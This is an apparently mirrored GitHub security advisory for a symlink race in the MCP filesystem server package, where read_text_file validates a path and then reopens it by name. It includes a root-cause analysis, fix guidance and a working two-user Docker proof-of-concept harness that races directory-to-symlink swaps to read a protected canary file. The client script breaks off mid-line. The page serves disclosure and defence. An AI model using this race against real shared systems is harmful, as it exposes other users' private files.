---
id: "GHSA-p9cv-8g75-4xcg"
page: "https://infrastack.ai/live/GHSA-p9cv-8g75-4xcg"
kind: "vulnerability"
aliases: ["GHSA-p9cv-8g75-4xcg"]
title: "Symlink swap after validation lets read_text_file return files outside allowedDirectories"
severity: "medium"
cvss: 4.4
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "@modelcontextprotocol/server-filesystem", "fixed": ["2.3.0"], "affected": "< 2.3.0", "ecosystem": "npm"}, {"name": "@modelcontextprotocol/server-filesystem", "fixed": [], "affected": ">= 2025.1.14, <= 2026.8.31", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-367", "filesystem-server", "mcp", "node", "npm", "package"]
not_affected_if: ["no-untrusted-local-users", "single-user-machine", "version-2.3.0-or-later"]
published_at: "2026-11-11T07:28:07+00:00"
first_seen_at: "2026-11-11T07:28:35+00:00"
updated_at: "2026-11-11T07:29:59+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-p9cv-8g75-4xcg", "first_seen_at": "2026-11-11T07:28:35+00:00"}]
exploit_sources: []
---

# Symlink swap after validation lets read_text_file return files outside allowedDirectories

Link for people: https://infrastack.ai/live/GHSA-p9cv-8g75-4xcg (this .md is for agents)

The @modelcontextprotocol/server-filesystem package checks a path, then opens it by name, so a local user who can rename a directory inside an allowed folder can swap in a symlink and make read_text_file return files outside the allowed directories. The attacker gets the contents of files the server's user can read but the attacker cannot.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:@modelcontextprotocol/server-filesystem affected < 2.3.0 fixed 2.3.0
- npm:@modelcontextprotocol/server-filesystem affected >= 2025.1.14, <= 2026.8.31 fixed no fixed version listed

## How to check

- Run `npm ls @modelcontextprotocol/server-filesystem` in each project that runs the server and look for a version below `2.3.0`.
- Check whether the server is started with an allowed directory that other local users can write to.

## Fix

- `@modelcontextprotocol/server-filesystem`: move to `2.3.0` (the advisory's ranges list `2.3.0` as fixed; later affected-range entries are unclear).

## Timeline

- 2026-11-11T07:28:35+00:00 ghsa-repo https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-p9cv-8g75-4xcg

## Documents

- [advisory] Maintainer's advisory: github.com https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-p9cv-8g75-4xcg

## From the sources

### Summary

In `@modelcontextprotocol/server-filesystem` 2.1.0, `read_text_file` validates the requested path and then opens it again by name. A local process that can rename a directory inside an allowed directory can swap that directory for a symlink between the check and the open. When the swap wins, the server returns the contents of a file outside `allowedDirectories`. In a two-user Linux test, an attacker user who gets `EACCES` reading the target file directly received its unknown random contents through the server.

### Details

### Affected version

- npm `@modelcontextprotocol/server-filesystem@2.1.0` (current `latest`, published 2026-10-28). Tarball SHA-256 `65aba6b962efa7fdfdd51d70b48c06e7786c8bbc57292520dec21924836031df`.
- Source: commit `194cc86e3ae6400958555bd4116849d822d69263` (monorepo tag `v2.2.0`; `src/filesystem/package.json` is `2.1.0`).
- Tested on Linux (`node:24-alpine` container) and macOS (Node 26.10.0) against the published stdio server.

### Root cause

- `read_text_file` calls `validatePath(args.path, allowedDirectories)` and then `readFileContent(validPath)` (`src/filesystem/server.ts:257-274`; `dist/server.js:190-203`).
- `validatePath` resolves `realpath` at that moment and returns a path string (`src/filesystem/lib.ts:508-518`; `dist/lib.js:330-337`).
- `readFileContent` calls `fs.readFile(filePath)` (`src/filesystem/lib.ts:556-560`; `dist/lib.js:371-372`), which resolves every path component again. A directory symlink introduced after validation is followed.

The 2.0.1 fix for GHSA-53mr-w429-c597 anchors writes to the validated directory: `write_file`, `edit_file`, `create_directory` and `move_file` go through `pinned-directory.ts` (`createFileInDirectory`, `overwriteFileInDirectory`, `renameIntoDirectory`, ...). The read path was not given that anchor, so the same check-then-use gap remains on reads. The `head`/`tail` variants of the same tool (`headFile`, `tailFile`) also open by path name.

### Preconditions

- The attacker can rename or replace a directory inside an allowed directory while the server runs (the same precondition as GHSA-53mr-w429-c597).
- The attacker controls the MCP client or can induce repeated `read_text_file` calls naming a path under that directory.
- The target file is readable by the server's user and its name is known.

### Proof of concept

### Reproduction (two OS users, Linux container)

The harness runs the published server as UID 1001 and the MCP client plus a racer as UID 1002. A root launcher creates:
- `allowed/` (owned by the attacker), passed to the server as its only allowed directory, containing `allowed/flip/marker.txt` with a benign value;
- `outside/` (owned by the server user, mode `0700`) containing `outside/marker.txt` (mode `0600`) with a fresh random 24-byte secret.

The launcher only creates the fixture and pipes MCP stdio bytes between the two processes. The attacker client is never given the secret; it only knows the `CANARY_OUTSIDE_` prefix. The client:
1. confirms a direct read of `outside/marker.txt` fails with `EACCES`;
2. checks controls through the server: the direct outside path is denied, a static symlink `allowed/flip -> outside` is denied, and the inside path returns the benign value;
3. starts a racer that repeatedly swaps `allowed/flip` between the real directory and a symlink to `outside/`, while sending `read_text_file` for `allowed/flip/marker.txt` in batches of 100.

After the client exits, the launcher compares the SHA-256 of the secret it wrote with the SHA-256 of the content the client received.

Save the three files below in one directory and run `sh run.sh` (needs Docker).

`run.sh`
```sh
#!/bin/sh
# Runs the two-user reproduction against the published package in a disposable container.
set -eu
HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
NAME="mcp-fs-read-race-$$"
trap 'docker stop -t 1 "$NAME" >/dev/null 2>&1 || true' EXIT
docker run -d --rm --name "$NAME" node:24-alpine sleep 600 >/dev/null
docker exec "$NAME" sh -c 'mkdir -p /labpkg /labharness && cd /labpkg && npm install --no-audit --no-fund @modelcontextprotocol/server-filesystem@2.1.0 >/dev/null'
docker cp "$HERE/launcher.mjs" "$NAME:/labharness/launcher.mjs"
docker cp "$HERE/client.mjs" "$NAME:/labharness/client.mjs"
docker exec "$NAME" chmod -R a+rX /labpkg /labharness
SERVER=/labpkg/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js
printf '=== No-racer control ===\n'
docker exec -e NO_RACER=1 -e MAX_CALLS=500 "$NAME" node /labharness/launcher.mjs "$SERVER"
printf '=== Two-user race ===\n'
docker exec -e NO_RACER=0 -e MAX_CALLS=20000 "$NAME" node /labharness/launcher.mjs "$SERVER"
```

`launcher.mjs`
```js
import fs from 'node:fs/promises';
import os from 'node:os';
import path from 'node:path';
import { spawn } from 'node:child_process';
import { fileURLToPath } from 'node:url';
import { createHash, randomBytes } from 'node:crypto';

// Run as root only inside a disposable local container. The server is UID 1001;
// the MCP client and racer are UID 1002. All data is created under /tmp.
const victimUid = 1001;
const attackerUid = 1002;
const here = path.dirname(fileURLToPath(import.meta.url));
const root = await fs.mkdtemp(path.join(os.tmpdir(), 'mcp-two-uid-'));
const allowed = path.join(root, 'allowed');
const outside = path.join(root, 'outside');
const flip = path.join(allowed, 'flip');
const secret = 'CANARY_OUTSIDE_' + randomBytes(24).toString('hex');
await fs.mkdir(flip, { recursive: true });
await fs.mkdir(outside);
await fs.writeFile(path.join(flip, 'marker.txt'), 'BENIGN_INSIDE_TWO_UID');
await fs.writeFile(path.join(outside, 'marker.txt'), secret, { mode: 0o600 });
await fs.chmod(root, 0o755);
await fs.chown(allowed, attackerUid, attackerUid);
await fs.chmod(allowed, 0o755);
await fs.chown(flip, attackerUid, attackerUid);
await fs.chmod(flip, 0o755);
await fs.chown(path.join(flip, 'marker.txt'), attackerUid, attackerUid);
await fs.chown(outside, victimUid, victimUid);
await fs.chmod(outside, 0o700);
await fs.chown(path.join(outside, 'marker.txt'), victimUid, victimUid);
await fs.chmod(path.join(outside, 'marker.txt'), 0o600);

const pkg = process.argv[2];
if (!pkg) throw new Error('pass absolute path to published dist/index.js');
const server = spawn(process.execPath, [pkg, allowed], {
  uid: victimUid,
  gid: victimUid,
  stdio: ['pipe', 'pipe', 'pipe'],
});
const client = spawn(process.execPath, [path.join(here, 'client.mjs'), allowed, outside], {
  uid: attackerUid,
  gid: attackerUid,
  stdio: ['pipe', 'pipe', 'pipe'],
  env: { ...process.env, MAX_CALLS: process.env.MAX_CALLS ?? '20000', NO_RACER: process.env.NO_RACER ?? '0' },
});
client.stdout.pipe(server.stdin);
server.stdout.pipe(client.stdin);
server.stderr.on('data', c => process.stderr.write('[server] ' + c));
let clientLog = '';
client.stderr.on('data', c => {
  clientLog += c.toString();
  process.stderr.write('[attacker-client] ' + c);
});
const code = await new Promise(resolve => client.on('exit', resolve));
server.kill('SIGTERM');
const raceLine = clientLog.split('\n').find(line => line.startsWith('{"race":'));
let reported;
try { reported = JSON.parse(raceLine); } catch { reported = null; }
const captured = reported?.race?.first?.result?.content?.[0]?.text;
const digest = value => value === undefined ? null : createHash('sha256').update(value).digest('hex');
const noRacer = process.env.NO_RACER === '1';
const match = captured === secret;
console.log(JSON.stringify({
  root, serverUid: victimUid, attackerUid, clientExit: code,
  secretSha256: digest(secret), capturedSha256: digest(captured),
  match, expectedMatch: !noRacer,
}));
process.exitCode = (code === 0 && match === !noRacer) ? 0 : 1;
```

`client.mjs`
```js
import fs from 'node:fs/promises';
import path from 'node:path';
import { spawn } from 'node:child_process';

const [allowed, outside] = process

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
